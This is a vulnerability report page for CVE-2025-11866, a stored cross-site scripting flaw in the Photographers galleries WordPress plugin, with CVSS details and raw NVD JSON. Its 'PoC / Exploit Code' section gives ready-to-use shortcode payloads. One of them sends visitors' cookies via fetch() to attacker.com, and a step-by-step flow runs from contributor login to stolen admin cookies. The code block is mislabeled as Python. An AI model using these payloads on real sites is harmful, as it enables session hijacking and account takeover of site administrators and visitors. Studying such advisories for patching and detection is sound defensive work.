Security Vulnerability Report
中文
CVE-2025-11866 CVSS 6.4 MEDIUM

CVE-2025-11866

Published: 2025-10-22 09:15:35
Last Modified: 2026-04-15 00:35:42

Description

The Photographers galleries plugin for WordPress is vulnerable to Stored Cross-Site Scripting via multiple shortcode attributes (`w`, `h`, `raw_css`, `look`, etc.) in all versions up to, and including, 1.1.8. This is due to the plugin not properly sanitizing user input or escaping output when inserting these values into HTML attributes and inline styles. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Details

CVSS Score
6.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Photographers galleries plugin <= 1.1.8

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- CVE-2025-11866 Stored XSS PoC --> <!-- Exploits insufficient sanitization in shortcode attributes (w, h, raw_css, look, etc.) --> <!-- PoC 1: Inject via 'w' attribute to break out of HTML attribute and execute JS --> [photogallery w="100\" onmouseover=\"alert('XSS-'+document.cookie)\"" h="100"] <!-- PoC 2: Inject via 'raw_css' attribute to inject event handler in inline style --> [photogallery raw_css="; } body{ } img{src=x onerror=alert(document.domain); } /*" look="default"] <!-- PoC 3: Steal admin cookie via fetch to attacker-controlled server --> [photogallery w="\" style=\"background:url(javascript:fetch('https://attacker.com/steal?c='+document.cookie))\"" h="\""] <!-- Full exploitation flow: 1. Attacker logs in as Contributor 2. Creates a new post containing the malicious shortcode above 3. Submits post for review (or publishes if Author+) 4. Admin/Editor reviews and publishes the post 5. Any visitor loading the page triggers the injected JavaScript 6. Attacker receives stolen cookies or performs actions as the victim -->

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-11866", "sourceIdentifier": "[email protected]", "published": "2025-10-22T09:15:34.910", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Photographers galleries plugin for WordPress is vulnerable to Stored Cross-Site Scripting via multiple shortcode attributes (`w`, `h`, `raw_css`, `look`, etc.) in all versions up to, and including, 1.1.8. This is due to the plugin not properly sanitizing user input or escaping output when inserting these values into HTML attributes and inline styles. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/photographers-galleries/tags/1.1.8/includes/shortcodes.php#L61", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/9300af5d-7886-4f4e-8454-0dcf2d895fee?source=cve", "source": "[email protected]"}]}}